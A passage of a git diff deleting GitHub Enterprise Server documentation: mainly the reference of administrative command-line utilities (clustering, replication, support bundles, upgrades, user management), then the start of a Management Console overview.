information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/configuring-tls). - -For more information about this command or for additional options, use the `-h` flag. - -```shell -ghe-ssl-generate-csr -``` - -### ghe-storage-extend - -Some platforms require this script to expand the user volume. For more information, see [AUTOTITLE](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity). - -```shell -ghe-storage-extend -``` - -### ghe-version - -This utility prints the version, platform, and build of {% data variables.location.product_location %}. - -```shell -ghe-version -``` - -### ghe-webhook-logs - -This utility returns webhook delivery logs for administrators to review and identify any issues. - -```shell -ghe-webhook-logs -``` - -To show all hook deliveries filtered by a given event: - -```shell -ghe-webhook-logs --event issues -``` - -To show all hook deliveries filtered by a given event and action: - -```shell -ghe-webhook-logs --event issues.opened -To show all failed hook deliveries in the past day: - -```shell -ghe-webhook-logs -f -a YYYY-MM-DD -``` - -The date format should be `YYYY-MM-DD`, `YYYY-MM-DD HH:MM:SS`, or `YYYY-MM-DD HH:MM:SS (+/-) HH:M`. - -To show the full hook payload, result, and any exceptions for the delivery: - -```shell -ghe-webhook-logs -g DELIVERY_GUID -``` - -## Clustering - -### ghe-cluster-balance - -This utility allows you to enforce an even distribution of allocations across your cluster nodes by checking the status of your cluster's allocations, then rebalancing problematic allocations. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-clustering/rebalancing-cluster-workloads). - -To output a list of balanceable jobs and their associated allocation spread: - -```shell -ghe-cluster-balance status -``` - -To output allocation counts for a given job or comma-delimited list of jobs: - -```shell -ghe-cluster-balance -j JOB -``` - -To rebalance problematic allocations for a given job or comma-delimited list of jobs: - -```shell -ghe-cluster-balance rebalance -j JOB -``` - -You can use the following flags with `ghe-cluster-balance rebalance`. - -Flag | Description ----- | ---------- -`-j/--job-names` | Specify the jobs to rebalance. Accepts a job name or comma-delimited list of names. -`-n/--dry-run` | Output the Nomad operations that the utility will run, without actually running them. Can be used in tandem with `-j/--job-name`. -`-y/--yes` | Skip the user prompt. -`w/--workers` | Specify the maximum number of simultaneous jobs to stop and wait for reallocation to complete on. Defaults to 4. -`-t/--timeout` | Specify how many seconds to wait for a stopped allocation for a job to be replaced. Defaults to 300 seconds. - -To output completion scripts for the given shell: - -```shell -ghe-cluster-balance completion -``` - -To display a short description of the utility and any valid subcommands: - -```shell -ghe-cluster-balance help -``` - -### ghe-cluster-maintenance - -With the `ghe-cluster-maintenance` utility, you can set or unset maintenance mode for every node in a cluster. - -```shell -$ ghe-cluster-maintenance -h -# Shows options -$ ghe-cluster-maintenance -q -# Queries the current mode -$ ghe-cluster-maintenance -s -# Sets maintenance mode -$ ghe-cluster-maintenance -s "MESSAGE" -# Sets maintenance mode with a custom message -$ ghe-cluster-maintenance -m "MESSAGE" -# Updates the custom message -$ ghe-cluster-maintenance -u -# Unsets maintenance mode -``` - -{% ifversion cluster-ha-tooling-improvements %} - -### ghe-cluster-repl-bootstrap - -This utility configures high availability replication to a secondary set of cluster nodes. For more information, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/configuring-clustering/configuring-high-availability-replication-for-a-cluster). - -```shell -ghe-cluster-repl-bootstrap -``` - -### ghe-cluster-repl-teardown - -This utility disables replication to replica nodes for a cluster in a high availability configuration. For more information, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/configuring-clustering/configuring-high-availability-replication-for-a-cluster#disabling-high-availability-replication-for-a-cluster). - -```shell -ghe-cluster-repl-teardown -``` - -{% endif %} - -### ghe-cluster-status - -Check the health of your nodes and services in a cluster deployment of {% data variables.product.prodname_ghe_server %}. - -```shell -ghe-cluster-status -``` - -### ghe-cluster-support-bundle - -This utility creates a support bundle tarball containing important logs from each of the nodes in either a Geo-replication or Clustering configuration. - -By default, the command creates the tarball in _/tmp_, but you can also have it `cat` the tarball to `STDOUT` for easy streaming over SSH. This is helpful in the case where the web UI is unresponsive or downloading a support bundle from _/setup/support_ doesn't work. You must use this command if you want to generate an _extended_ bundle, containing older logs. You can also use this command to upload the cluster support bundle directly to {% data variables.product.prodname_enterprise %} support. - -To create a standard bundle: - -```shell -ssh -p 122 admin@HOSTNAME -- 'ghe-cluster-support-bundle -o' > cluster-support-bundle.tgz -``` - -To create a standard bundle including data from the last 2 days: - -```shell -ssh -p 122 admin@HOSTNAME -- "ghe-cluster-support-bundle -p 2days -o" > support-bundle.tgz -``` - -To create an extended bundle including data from the last 8 days: - -```shell -ssh -p 122 admin@HOSTNAME -- ghe-cluster-support-bundle -x -o' > cluster-support-bundle.tgz -``` - -To send a bundle to {% data variables.contact.github_support %}: - -```shell -ssh -p 122 admin@HOSTNAME -- 'ghe-cluster-support-bundle -u' -``` - -To send a bundle to {% data variables.contact.github_support %} and associate the bundle with a ticket: - -```shell -ssh -p 122 admin@HOSTNAME -- 'ghe-cluster-support-bundle -t TICKET_ID' -``` - -### ghe-cluster-failover - -{% ifversion ghes < 3.13 %} - -{% data reusables.enterprise_clustering.cluster-ip-note %} - -{% endif %} - -With the `ghe-cluster-failover` utility, you can fail over to your replica cluster. For more information, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/configuring-clustering/initiating-a-failover-to-your-replica-cluster). - -```shell -ghe-cluster-failover -``` - -{% ifversion ghes < 3.13 %} - -### ghe-cluster-block-ips - -This utility allows you to block all the IPs in the `/data/user/common/cluster-ip-blocklist` file. The command reads the list of IPs and blocks each IP by calling `ghe-cluster-block-ip` on each node in the current cluster. - -The `/data/user/common/cluster-ip-blocklist` file only supports IPv4 addresses. - -```shell -ghe-cluster-block-ips -``` - -### ghe-cluster-block-ip - -This utility allows you to block a specific IP address on a specific node. You can't block the IP of the current host, or any of the IPs for the hosts in the current `cluster.conf`. - -```shell -ghe-cluster-block-ip IPV4 ADDRESS -``` - -### ghe-cluster-unblock-ips - -This utility allows you to unblock all the IPs currently blocked on each node in the cluster. - -```shell -ghe-cluster-unblock-ips -``` - -### ghe-cluster-unblock-ip - -This utility allows you to unblock a specific IP address on a specific node. - -```shell -ghe-cluster-unblock-ip IPV4 ADDRESS -``` - -{% endif %} - -### ghe-dpages - -This utility allows you to manage the distributed {% data variables.product.prodname_pages %} server. - -```shell -ghe-dpages -``` - -To show a summary of repository location and health: - -```shell -ghe-dpages status -``` - -To evacuate a {% data variables.product.prodname_pages %} storage service before evacuating a cluster node: - -```shell -ghe-dpages evacuate pages-server-UUID -``` - -{% ifversion cluster-node-removal %} - -### ghe-remove-node - -This utility removes a node from a cluster. If you're replacing a node, after you've set up a replacement node, you can use this command to take the old node offline. For more information, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/configuring-clustering/replacing-a-cluster-node). - -You must run this command from the primary MySQL node in your cluster, which is typically the node designated as `mysql-master` in your cluster configuration file (`cluster.conf`). You can use this command to remove any node, with the exception of the `mysql-master` or `redis-master` node. For more information, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/configuring-clustering/initializing-the-cluster#about-the-cluster-configuration-file). - -```shell -ghe-remove-node HOSTNAME -``` - -The command does the following things: -* Evacuates data from any data services running on the node, so that the remaining nodes in your cluster contain copies of the data -* Marks the node as offline in your configuration, applies this change to the rest of the nodes in the cluster, and stops traffic being routed to the node - -You can run the command with the following flags. - -Flag | Description ----- | ---------- -`-ne/--no-evacuate` | Skips evacuation of data services (warning: may result in data loss). -`-v/--verbose` | Prints additional information to the console. -`-h/--help` | Displays help text for the command. - -> [!NOTE] -> * This command can only be used to remove a node from a cluster configuration. It cannot be used to remove a node from a high availability configuration. -> * This command does not support parallel execution. To remove multiple nodes, you must wait until this command has finished before running it for another node. - -{% endif %} - -### ghe-spokesctl - -This utility allows you to manage replication of repositories on the distributed Git servers. - -```shell -ghe-spokesctl -``` - -To show the servers where the repository is stored: - -```shell -ghe-spokesctl routes -``` - -To evacuate storage services on a cluster node: - -```shell -ghe-spokesctl server set evacuating git-server-UUID -``` - -### ghe-storage - -This utility allows you to evacuate all storage services before evacuating a cluster node. - -```shell -ghe-storage evacuate storage-server-UUID -``` - -### nes - -This utility allows you to monitor the health of cluster nodes using {% data variables.product.prodname_nes %}. By default, {% data variables.product.prodname_nes %} is disabled. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-clustering/monitoring-the-health-of-your-cluster-nodes-with-node-eligibility-service). - -To view the health of the cluster's nodes: - -```shell -nes get-cluster-health -``` - -To verify TTL settings: - -```shell -nes get-node-ttl all -``` - -To set the TTL for the `fail` state in minutes: - -```shell -nes set-node-ttl fail MINUTES -``` - -The TTL for the `fail` state must be higher than the TTL for the `warn` state. - -To set the TTL for the `warn` state in minutes: - -```shell -nes set-node-ttl warn TIME -``` - -To review whether {% data variables.product.prodname_nes %} can take administrative action when a node with the hostname HOSTNAME goes offline: - -```shell -nes get-node-adminaction HOSTNAME -``` - -To allow {% data variables.product.prodname_nes %} to automatically take administrative action when a node with the hostname HOSTNAME goes offline: - -```shell -nes set-node-adminaction approved HOSTNAME -``` - -To revoke {% data variables.product.prodname_nes %}'s ability to take the node with hostname HOSTNAME offline: - -```shell -nes set-node-adminaction approved HOSTNAME -``` - -To manually update a node's eligibility for re-addition to the cluster: - -```shell -nes set-node-eligibility eligible HOSTNAME -``` - -## Git - -### ghe-btop - -A `top`-like interface for current Git operations. - -```shell -ghe-btop [ <port number> | --help | --usage ] -``` - -#### ghe-governor - -This utility helps to analyze Git traffic. It queries _Governor_ data files, located under `/data/user/gitmon`. {% data variables.product.company_short %} holds one hour of data per file, retained for two weeks. For more information, see [Analyzing Git traffic using Governor](https://github.com/orgs/community/discussions/34220) in {% data variables.product.prodname_github_community %}. - -```bash -ghe-governor <subcommand> <column> [options] -``` - -```text -ghe-governor -h -Usage: ghe-governor [-h] <subcommand> args - -OPTIONS: - -h | --help Show this message. - -Valid subcommands are: - aggregate Find the top (n) groups of queries for a grouping function and metric - health Summarize all recent activity on one or more servers - top Find the top (n) queries for a given metric - dump Dump individual operations - test-quotas Check quota information - -Try ghe-governor <subcommand> --help for more information on the arguments each subcommand takes. -``` - -### ghe-repo - -This utility allows you to change to a repository's directory and open an interactive shell as the `git` user. You can perform manual inspection or maintenance of a repository via commands like `git-*` or `git-nw-*`. - -```shell -ghe-repo USERNAME/REPONAME -``` - -### ghe-repo-gc - -This utility manually repackages a repository network to optimize pack storage. If you have a large repository, running this command may help reduce its overall size. {% data variables.product.prodname_enterprise %} automatically runs this command throughout your interaction with a repository network. - -```shell -ghe-repo-gc USERNAME/REPONAME -``` - -You can add the optional `--prune` argument to remove unreachable Git objects that aren't referenced from a branch, tag, or any other ref. This is particularly useful for immediately removing previously expunged sensitive information. See [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository). - -If you use a deployment topology with multiple nodes, to prevent sensitive data from persisting on other nodes and potentially being exposed during a failover, you must run the command on all nodes. For example, for a cluster configuration, you can use the following command. - -```shell -ghe-cluster-each -r git -- "ghe-repo-gc --prune USERNAME/REPONAME" -``` - -## {% data variables.product.prodname_actions %} - -### ghe-actions-check - -This utility checks that all services for {% data variables.product.prodname_actions %} are healthy. For more information, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server) and [AUTOTITLE](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise). - -```shell -ghe-actions-check -``` - -### ghe-actions-precheck - -This utility tests the blob storage configuration for {% data variables.product.prodname_actions %} on {% data variables.location.product_location %}. You can use the utility to verify your storage configuration before you enable {% data variables.product.prodname_actions %} for your instance. - -For more information about the configuration of {% data variables.product.prodname_actions %}, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server). - -> [!NOTE] -> This utility only works with configurations that use a credentials-based connection to the storage provider. To test OpenID Connect (OIDC) configurations, use [`ghe-actions-test-storage-with-oidc`](#ghe-actions-test-storage-with-oidc). - -```shell -ghe-actions-precheck -p [PROVIDER] -cs ["CONNECTION-STRING"] -``` - -If your storage system is configured correctly, you'll see the following output. - -```text -All Storage tests passed -``` - -### ghe-actions-test-storage-with-oidc - -This utility checks that the blob storage provider for {% data variables.product.prodname_actions %} on {% data variables.location.product_location %} is valid when OpenID Connect (OIDC) is used. - -> [!NOTE] -> This utility only works with configurations that use an OpenID Connect (OIDC) configuration. To test credentials-based configurations, use [`ghe-actions-precheck`](#ghe-actions-precheck). - -```shell -ghe-actions-test-storage-with-oidc -p [PROVIDER] -cs ["CONNECTION-STRING"] -``` - -### ghe-actions-stop - -This utility stops {% data variables.product.prodname_actions %} from running on {% data variables.location.product_location %}. - -> [!NOTE] -> * {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} -> * In high availability configurations, run this command from the primary. - -### ghe-actions-start - -This utility starts {% data variables.product.prodname_actions %} on {% data variables.location.product_location %} after it has been previously stopped. - -> [!NOTE] -> * {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} -> * In high availability configurations, run this command from the primary. - -If your system is configured correctly, you'll see the following output: - -```shell -Actions was enabled! -``` - -## {% data variables.product.prodname_registry %} - -### ghe-check-blob-connection - -This utility checks that a blob storage provider for {% data variables.product.prodname_registry %} is valid on {% data variables.location.product_location %}. - -```shell -ghe-check-blob-connection --help -``` - -If a connection was previously configured, tests may be performed by directly running the command without any parameters. - -```shell -ghe-check-blob-connection -``` - -If your system is configured correctly, you'll see the following output: - -```shell -All Storage tests passed -``` - -## High availability - -### ghe-repl-promote - -This command disables replication on an existing replica node and converts the replica node to a primary node using the same settings as the original primary node. All replication services are enabled. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance). - -{% data reusables.enterprise_installation.promoting-a-replica %} - -```shell -ghe-repl-promote -``` - -### ghe-repl-setup - -Run this utility on an existing node to begin enabling a high availability configuration. The utility puts the node in standby mode before you begin replication with [`ghe-repl-start`](#ghe-repl-start). For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica). - -After running the utility, the following configuration occurs on the node. - -* An encrypted WireGuard VPN tunnel is established for communication between the nodes. -* Database services are configured for replication and started. -* Application services are disabled. Attempts to access the replica node over HTTP or HTTPS, Git, or other supported protocols will display "Server in replication mode" message, a maintenance page, or an error message. - -When running this utility, replace PRIMARY-NODE-IP with the IP address of your instance's primary node. - -```shell -ghe-repl-setup PRIMARY-NODE-IP -``` - -### ghe-repl-start - -This utility begins replication of all datastores on a node. Run this utility after running [`ghe-repl-setup`](#ghe-repl-setup). For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica). - -```shell -ghe-repl-start -``` - -### ghe-repl-status - -This utility displays the status of replication on a node, returning an `OK`, `WARNING` or `CRITICAL` status for each datastore's replication stream. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/monitoring-a-high-availability-configuration). - -* If any of the replication channels are in a `WARNING` state, the command will exit with code `1`. -* If you have not started replication, the command will exit with code `1`. -* If any of the channels are in a `CRITICAL` state, the command will exit with code `2`. -* The output conforms to the expectations of Nagios' check_by_ssh plugin. For more information, see the [check_by_ssh plugin](https://nagios-plugins.org/doc/man/check_by_ssh.html) on the official Nagios plugins page. - -```shell -ghe-repl-status -``` - -The `-v` and `-vv` options provide additional details about each datastore's replication state. - -```shell -ghe-repl-status -v -``` - -### ghe-repl-stop - -This command temporarily disables replication for all datastores on an existing replica node. All replication services are stopped. To resume replication, use [`ghe-repl-start`](#ghe-repl-start). - -```shell -ghe-repl-stop -``` - -### ghe-repl-teardown - -This utility completely disables replication on an existing replica node, removing the replica configuration. You can run the following command from a replica node, but if the replica node is unreachable, you can also run the command from the primary node. - -```shell -ghe-repl-teardown -``` - -{% ifversion ghes > 3.13 %} - -### ghe-repl-stop-all - -This utility disables replication of all datastores on all replica nodes. Run this utility from the primary node before upgrading replicas. For more information, see [AUTOTITLE](/admin/upgrading-your-instance/performing-an-upgrade/upgrading-with-an-upgrade-package). - -### ghe-repl-start-all - -This utility begins replication of all datastores on all replica nodes. Run this utility from the primary node after upgrading replicas. For more information, see [AUTOTITLE](/admin/upgrading-your-instance/performing-an-upgrade/upgrading-with-an-upgrade-package). -{% endif %} - -## Import and export - -### ghe-migrator - -`ghe-migrator` is a hi-fidelity tool to help you migrate from one GitHub instance to another. You can consolidate your instances or move your organization, users, teams, and repositories from GitHub.com to {% data variables.product.prodname_enterprise %}. - -For more information, please see our guides on [migrating data to and from your enterprise](/migrations/using-ghe-migrator). - -### git-import-detect - -Given a URL, detect which type of source control management system is at the other end. During a manual import this is likely already known, but this can be very useful in automated scripts. - -```shell -git-import-detect -``` - -### git-import-hg-raw - -This utility imports a Mercurial repository to this Git repository. For more information, see [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-from-other-version-control-systems-with-the-administrative-shell). - -```shell -git-import-hg-raw -``` - -### git-import-svn-raw - -This utility imports Subversion history and file data into a Git branch. This is a straight copy of the tree, ignoring any trunk or branch distinction. For more information, see [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-from-other-version-control-systems-with-the-administrative-shell). - -```shell -git-import-svn-raw -``` - -### git-import-tfs-raw - -This utility imports from Team Foundation Version Control (TFVC). For more information, see [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-from-other-version-control-systems-with-the-administrative-shell). - -```shell -git-import-tfs-raw -``` - -### git-import-rewrite - -This utility rewrites the imported repository. This gives you a chance to rename authors and, for Subversion and TFVC, produces Git branches based on folders. For more information, see [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-from-other-version-control-systems-with-the-administrative-shell). - -```shell -git-import-rewrite -``` - -{% ifversion ghes > 3.12 %} - -## License - -### ghe-license - -This utility lets you interact with your current active license, or with new licenses without needing to import them first. You can also directly apply the license to make the changes effective using `--apply`. Applying changes with the `ghe-license` utility avoids a configuration run and only restarts the affected services. - -You can review the possible commands and flags using `ghe-license -h`. - -Alternatively, you can manage licenses using the REST API or the {% data variables.product.prodname_cli %}. See [AUTOTITLE](/rest/enterprise-admin/manage-ghes) and [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/administering-your-instance-using-the-github-cli). - -Display license information. Alternatively, use the `-j` flag for JSON formatting. - -```shell -ghe-license info -# "advanced_security_enabled" : true -# "advanced_security_seats" : 0 -# "cluster_support" : false -# "company" : "GitHub" -# "croquet_support" : true -# "custom_terms" : true -# "evaluation" : false -# "expire_at" : "2025-01-01T23:59:59-08:00" -# "insights_enabled" : true -# "insights_expire_at" : "2025-01-01T23:59:59.999-08:00" -# "learning_lab_evaluation_expires" : "2023-01-01T23:59:59.000-08:00" -# "learning_lab_seats" : 100 -# "perpetual" : false -# "reference_number" : "123456" -# "seats" : 0 -# "ssh_allowed" : true -# "support_key" : null -# "unlimited_seating" : true -``` - -Check the license. - -```shell -ghe-license check -# License is valid. -``` - -All commands are performed on the existing license. However, you can also provide a license from STDOUT using `--pipe`. - -```shell -cat license | ghe-license import --pipe -# License imported at /data/user/common/enterprise.ghl. -# License synchronized. -``` - -You can also provide a license by assigning a file path to the `GHE_LICENSE_FILE` environment variable. - -```shell -GHE_LICENSE_FILE=/path/license ghe-license import -# License imported at /data/user/common/enterprise.ghl. -# License synchronized. -``` - -{% endif %} - -## Security - -### ghe-find-insecure-git-operations - -This utility searches your instance's logs and identifies Git operations over SSH that use insecure algorithms or hash functions, including DSA, RSA-SHA-1, HMAC-SHA-1, and CBC ciphers. You can use the output to support each client's transition to a more secure SSH connection. For more information, see [{% data variables.product.prodname_blog %}](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server) and [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance). - -```shell -ghe-find-insecure-git-operations -``` - -## Support - -### ghe-diagnostics - -This utility performs a variety of checks and gathers information about your installation that you can send to support to help diagnose problems you're having. - -Currently, this utility's output is similar to downloading the diagnostics info in the {% data variables.enterprise.management_console %}, but may have additional improvements added to it over time that aren't available in the web UI. For more information, see [AUTOTITLE](/support/contacting-github-support/providing-data-to-github-support#creating-and-sharing-diagnostic-files). - -```shell -ghe-diagnostics -``` - -### ghe-support-bundle - -{% data reusables.enterprise_enterprise_support.use_ghe_cluster_support_bundle %} -This utility creates a support bundle tarball containing important logs from your instance. - -By default, the command creates the tarball in _/tmp_, but you can also have it `cat` the tarball to `STDOUT` for easy streaming over SSH. This is helpful in the case where the web UI is unresponsive or downloading a support bundle from _/setup/support_ doesn't work. You must use this command if you want to generate an _extended_ bundle, containing older logs. You can also use this command to upload the support bundle directly to {% data variables.product.prodname_enterprise %} support. - -To create a standard bundle: - -```shell -ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -o' > support-bundle.tgz -``` - -To create a standard bundle including data from the last 2 days: - -```shell -ssh -p 122 admin@HOSTNAME -- "ghe-support-bundle -p 2days -o" > support-bundle.tgz -``` - -To create an extended bundle including data from the last 8 days: - -```shell -ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -x -o' > support-bundle.tgz -``` - -To send a bundle to {% data variables.contact.github_support %}: - -```shell -ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -u' -``` - -To send a bundle to {% data variables.contact.github_support %} and associate the bundle with a ticket: - -```shell -ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -t TICKET_ID' -``` - -### ghe-support-upload - -This utility sends information from your appliance to {% data variables.product.prodname_enterprise %} support. You can either specify a local file, or provide a stream of up to 100MB of data via `STDIN`. The uploaded data can optionally be associated with a support ticket. - -To send a file to {% data variables.contact.github_support %} and associate the file with a ticket: - -```shell -ghe-support-upload -f FILE_PATH -t TICKET_ID -``` - -To upload data via `STDIN` and associating the data with a ticket: - -```shell -ghe-repl-status -vv | ghe-support-upload -t TICKET_ID -d "Verbose Replication Status" -``` - -In this example, `ghe-repl-status -vv` sends verbose status information from a replica appliance. You should replace `ghe-repl-status -vv` with the specific data you'd like to stream to `STDIN`, and `Verbose Replication Status` with a brief description of the data. {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} - -## Upgrading {% data variables.product.prodname_ghe_server %} - -### ghe-check-background-upgrade-jobs - -During an upgrade to a feature release, this utility displays the status of background jobs on {% data variables.location.product_location %}. If you're running back-to-back upgrades, you should use this utility to check that all background jobs are complete before proceeding with the next upgrade. - -```shell -ghe-check-background-upgrade-jobs -``` - -### ghe-migrations - -During an upgrade to a feature release, this utility displays the status of active database migrations on {% data variables.location.product_location %}. The output includes a version identifier for the migration, the migration's name, the migration's status, and the current duration of the migration. - -To display the list of migrations: - -```shell -ghe-migrations -``` - -By default, the utility outputs a table with 10 lines. To adjust the height of the table in lines: - -```shell -ghe-migrations -height LINES -``` - -By default, the visualizer refreshes every second. To specify the duration in seconds to refresh the visualizer: - -```shell -ghe-migrations -refresh_rate SECONDS -``` - -### ghe-update-check - -This utility will check to see if a new patch release of {% data variables.product.prodname_enterprise %} is available. If it is, and if space is available on your instance, it will download the package. By default, it's saved to _/var/lib/ghe-updates_. An administrator can then [perform the upgrade](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources). - -A file containing the status of the download is available at _/var/lib/ghe-updates/ghe-update-check.status_. - -To check for the latest {% data variables.product.prodname_enterprise %} release, use the `-i` switch. - -```shell -ssh -p 122 admin@HOSTNAME -- 'ghe-update-check' -``` - -### ghe-upgrade - -This utility installs or verifies an upgrade package. You can also use this utility to roll back a patch release if an upgrade fails or is interrupted. For more information, see [AUTOTITLE](/admin/upgrading-your-instance/preparing-to-upgrade/overview-of-the-upgrade-process). - -To verify an upgrade package: - -```shell -ghe-upgrade --verify UPGRADE-PACKAGE-FILENAME -``` - -To install an upgrade package: - -```shell -ghe-upgrade UPGRADE-PACKAGE-FILENAME -``` - -{% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %} - -### ghe-upgrade-scheduler - -This utility manages scheduled installation of upgrade packages. You can show, create new, or remove scheduled installations. You must create schedules using cron expressions. For more information, see the [Cron Wikipedia entry](https://en.wikipedia.org/wiki/Cron#Overview). - -The `ghe-upgrade-scheduler` utility is best suited for scheduling hotpatch upgrades, which do not require maintenance mode or a reboot in most cases. This utility is not practical for full package upgrades, which require an administrator to manually set maintenance mode, reboot the instance, and unset maintenance mode. For more information about the different types of upgrades, see [AUTOTITLE](/admin/upgrading-your-instance/performing-an-upgrade/upgrading-with-an-upgrade-package) - -To schedule a new installation for a package: - -```shell -ghe-upgrade-scheduler -c "0 2 15 12 *" UPGRADE-PACKAGE-FILENAME -``` - -To show scheduled installations for a package: - -```shell -$ ghe-upgrade-scheduler -s UPGRADE PACKAGE FILENAME -> 0 2 15 12 * /usr/local/bin/ghe-upgrade -y -s UPGRADE-PACKAGE-FILENAME > /data/user/common/UPGRADE-PACKAGE-FILENAME.log 2>&1 -``` - -To remove scheduled installations for a package: - -```shell -ghe-upgrade-scheduler -r UPGRADE PACKAGE FILENAME -``` - -## User management - -### {% ifversion ghes > 3.12 %}ghe-license usage{% else %}ghe-license-usage{% endif %} - -This utility exports a list of the installation's users in JSON format. If your instance is connected to {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} uses this information for reporting licensing information to {% data variables.product.prodname_ghe_cloud %}. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/managing-github-connect). - -By default, the list of users in the resulting JSON file is encrypted. {% ifversion ghes > 3.12 %}Review optional flags via `ghe-license --help`{% else %}Use the `-h` flag for more options{% endif %}. - -```shell -{% ifversion ghes > 3.12 %}ghe-license usage{% else %}ghe-license-usage{% endif %} -``` - -### ghe-org-membership-update - -This utility will enforce the default organization membership visibility setting on all members in your instance. For more information, see [AUTOTITLE](/admin/user-management/managing-organizations-in-your-enterprise/configuring-visibility-for-organization-membership). Setting options are `public` or `private`. - -```shell -ghe-org-membership-update --visibility=SETTING -``` - -### ghe-user-csv - -This utility exports a list of all the users in the installation into CSV format. The CSV file includes the email address, which type of user they are (e.g., admin, user), how many repositories they have, how many SSH keys, how many organization memberships, last logged IP address, etc. Use the `-h` flag for more options. - -```shell -ghe-user-csv -o > users.csv -``` - -### ghe-user-demote - -This utility demotes the specified user from admin status to that of a regular user. We recommend using the web UI to perform this action, but provide this utility in case the `ghe-user-promote` utility is run in error and you need to demote a user again from the CLI. - -```shell -ghe-user-demote USERNAME -``` - -### ghe-user-promote - -This utility promotes the specified user account to a site administrator. - -```shell -ghe-user-promote USERNAME -``` - -### ghe-user-suspend - -This utility suspends the specified user, preventing them from logging in, pushing, or pulling from your repositories. - -```shell -ghe-user-suspend USERNAME -``` - -### ghe-user-unsuspend - -This utility unsuspends the specified user, granting them access to login, push, and pull from your repositories. - -```shell -ghe-user-unsuspend USERNAME -``` diff --git a/content/admin/administering-your-instance/administering-your-instance-from-the-command-line/index.md b/content/admin/administering-your-instance/administering-your-instance-from-the-command-line/index.md deleted file mode 100644 index 21c26151818b..000000000000 --- a/content/admin/administering-your-instance/administering-your-instance-from-the-command-line/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Administering your instance from the command line -intro: 'You can use the administrative shell (SSH) and command-line utilities to perform administrative tasks for {% data variables.location.product_location %}.' -versions: - ghes: '*' -type: how_to -topics: - - Enterprise -children: - - /accessing-the-administrative-shell-ssh - - /administering-your-instance-using-the-github-cli - - /command-line-utilities -shortTitle: Command line ---- - diff --git a/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/about-the-management-console.md b/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/about-the-management-console.md deleted file mode 100644 index 75a3175fb7f8..000000000000 --- a/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/about-the-management-console.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: About the Management Console -intro: '{% data reusables.enterprise_site_admin_settings.management-console-overview %}' -redirect_from: - - /admin/configuration/administering-your-instance-from-the-management-console/about-the-management-console -versions: - ghes: '*' -type: overview -topics: - - Administrator - - Enterprise - - Fundamentals - - Networking - - Monitoring ---- - -## About the {% data variables.enterprise.management_console %} - -The {% data variables.enterprise.management_console %} allows you to manage the low-level configuration of {% data variables.location.product_location %}. For example, you can complete initial setup, manage licensing and low-level settings, configure authentication, schedule maintenance windows, and monitor your instance. - -You can always reach the {% data variables.enterprise.management_console %} using {% data variables.location.product_location %}'s IP address, even when the instance is in maintenance mode, or there is a critical application failure or hostname or SSL misconfiguration. - -To access the {% data variables.enterprise.management_console %}, you can use the root site administrator password established during initial setup of {% data variables.location.product_location %} or log in as a {% data variables.enterprise.management_console %} user. For more information, see [AUTOTITLE](/admin/configuration/administering-your-instance-from-the-management-console/accessing-the-management-console). You must also be able to connect to the virtual machine host on port 8443. If you're having trouble reaching the {% data variables.enterprise.management_console %}, please check intermediate firewall and security group configurations. - -The {% data variables.enterprise.management_console %} password hash is stored in `/data/user/common/secrets.conf`. If high availability or clustering is configured, the file is automatically synced from the primary node to any additional nodes. Any change to the primary's password will automatically be replicated to all of the instance's nodes. For more information about high availability, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration). - -When someone performs an action in the {% data variables.enterprise.management_console %} via the web interface or REST API, an event appears in the audit log. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise). - -## Examples of activities in the {% data variables.enterprise.management_console %} - -In the {% data variables.enterprise.management_console %}, you can perform administrative tasks for {% data variables.location.product_location %}, including: - -* **Initial setup:** Walk through the initial setup process when first launching {% data variables.location.product_location %} by visiting {% data variables.location.product_location %}'s IP address in your browser. - -* **Identity and access management:** Improve the security of {% data variables.location.product_location %} by creating dedicated user accounts for the {% data 